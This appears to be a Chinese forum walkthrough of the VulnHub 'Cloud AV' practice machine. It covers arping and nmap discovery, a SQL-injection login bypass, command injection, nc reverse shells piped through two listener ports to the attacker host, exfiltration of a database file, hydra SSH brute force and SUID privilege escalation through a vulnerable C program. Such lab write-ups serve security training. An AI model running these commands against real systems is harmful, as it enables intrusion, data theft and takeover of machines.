靶机:云防病毒扫描平台,下载地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
攻击机:kali2022.2
这次利用arping来发现ip
优点:相比arp-scan来说用得更加广泛,很多时候机器里没有arp-scan这个比较专业的渗透工具,而arping几乎在所有linux发行版都有。
缺点:没有办法对一段ip地址进行主机发现,需要结合for循环扫描,速度比起arp-scan要慢for i in $(seq 1 254); do arping -c 2 10.0.3.$i; done
发现10.0.3.6给了两个返回包,确认靶机ip
nmap -p- 10.0.3.6
nmap -p22,8080 -sV 10.0.3.6
得到8080为web服务,python2.1.7编写
浏览器访问8080,发现一个页面,输入邀请码,进入后台可以执行防病毒扫描服务。
类似密码登陆认证的思路:
1.sql注入绕过
抓包,把所有能输入的字符添加到字典,爆破
最后根据返回包的长度发现双引号会导致报错。
查看报错时候执行的代码发现为select语句把我们输入的双引号拼接到了查询语句导致无法闭合报错
通过报错页面收集到的信息,一堆路径,sqlite3数据库
构造" or 1=1 -- +
绕过认证登陆
2.暴力破解
sql注入成功了就不暴力破解了
登陆成功后分析服务功能为输入显示的文件名,然后进行病毒扫描。
猜测扫描时候服务器主机命令行执行scan 文件名
尝试命令注入scan hello | id
输入hello | id
成功执行。
姿势
1.根据信息收集知道使用python2编写的,可以贴入python代码反弹shell,具体参考day1,今天换个姿势
2.使用nc来反弹shellhello | nc 10.0.3.4 4444 -e bin/sh
没吃到shell
hello | nc 10.0.3.4 4444
发现基本连接是可以连上的,应该是靶机的nc版本没有-e这个参数
解决办法:hello | nc 10.0.3.4 4444 | /bin/bash | nc 10.0.3.4 7777
命令解析:先建立4444连接发送命令—>bin/bash解析命令—>返回结果发到7777显示。
攻击机监听两个端口4444来发命令,7777来收就可以。
因为靶机介绍里说了这就是一台scanner平台的主机,而我们通过id指令也发现了当前就是处在这个靶机,所以就不需要进行跳出容器,横向之类的操作了。接下来的思路就是提权,拿到root。ls -al
通过前面的信息收集也知道了用得sqlite3这个数据库,先看看db.sql的文件类型file database.sql
知道是sqlite3的一个数据库文件,和刚刚sql注入时收集到的信息是一致的,怀疑database.sql就是web应用服务端的数据库。
执行sqlite发现没有对应的环境,把文件传回kali机运行环境查看
再监听一个6666端口然后将接受到的所有文件再转发到shanque.sqlnc -nvlp 6666 > shanque.sql
回到靶机nc 10.0.3.4 6666 < database.sql
文件传到kali机后查看是否有环境运行
获得了四个密码。
INSERT INTO code VALUES(‘myinvitecode123’);
INSERT INTO code VALUES(‘mysecondinvitecode’);
INSERT INTO code VALUES(‘cloudavtech’);
INSERT INTO code VALUES(‘mostsecurescanner’);
刚刚信息收集到了这个系统是开了22ssh服务的cat /etc/passwd | grep /bin/bash
查看可以用shell登陆的账户
root,cloudav,scanner
把收集到的密码和账号做成字典拿去爆破sshhydra -L user.txt -P passwd.txt ssh://10.0.3.6
在收集到账户密码后进行密码攻击失败
把当前目录下文件都查看完后除了得到是用一个flask框架开发的扫描服务以外没有什么有效的信息了。
跳到上级目录信息收集
发现了点有意思的东西
updata_cloudav这个可执行文件
-rwsr-xr-x,具有suid权限标记位置,属主root,最后的x表示这是一个可执行文件
updata_cloudav.c它的源码
接下来就思路清晰了,suid提权
具有suid权限标记位的可执行文件,任何用户执行了这个文件,就默认继承它的属主的权限,这里就是root权限。
也就是说执行这个文件并且通过某种方法利用到了它的suid位就获得了root权限,再利用这个权限去执行nc或者任意一种方法反弹一个shell到kali机就任务完成。
1.查看可执行文件源码
搜索后得知freshclam是clamav这个杀毒软件的病毒库的更新软件
#include <stdio.h>
int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam"; //定义变量,指向这个更新病毒库程序
if (argc < 2){ //定义一个执行参数
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n"); //如果程序执行的时候不包含参数就显示这一段报错,要求我们提供一个命令行参数,程序才会正常运行去更新病毒库
return 1;
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);//如果正常使用执行参数,程序就会运行然后更新病毒库。
setgid(0);
setuid(0);
system(command);
return 0;
`
大概就是可执行文件运行的时候调用了freshclam这个更新程序,然后强制要求运行的时候命令行要给他一个执行参数。
尝试构造payload
./update_cloudav "a | nc 10.0.3.4 1111 | /bin/bash | nc 10.0.3.4 2222"
用双引号括起来,让程序认为后面这一坨都是我们给它的执行参数。
开启1111,和2222监听
成功拿到root权限!
1.靶机发现
端口扫描
服务扫描
sql注入绕过
命令注入以及nc的使用新姿势
信息收集,账户密码
尝试密码攻击失败
信息收集,可执行文件以及源码分析
suid提权
2.靶机难度:简单
想要提高信息收集能力滴小伙伴可以来打一打。
3.新知识:
靶机上nc版本没有-e参数可以直接反弹shell时的解决办法。
使用arping去发现主机
想了想还是把web渗透留下的暴力破解实操一下,万一以后遇到不能sql注入绕过
1.
2.kali中很多自带的字典,存放在/user/share/wordlist
3.看到邀请码为password的时候长度异常,查看返回包发现把我们重定向到了/scan这个目录,这跟sql注入绕过和对靶机信息收集的时候看到的app.py中的信息是一致的,说明验证码是正确的
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 70.00 | 0 | 2022-06-06 11:11:58 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.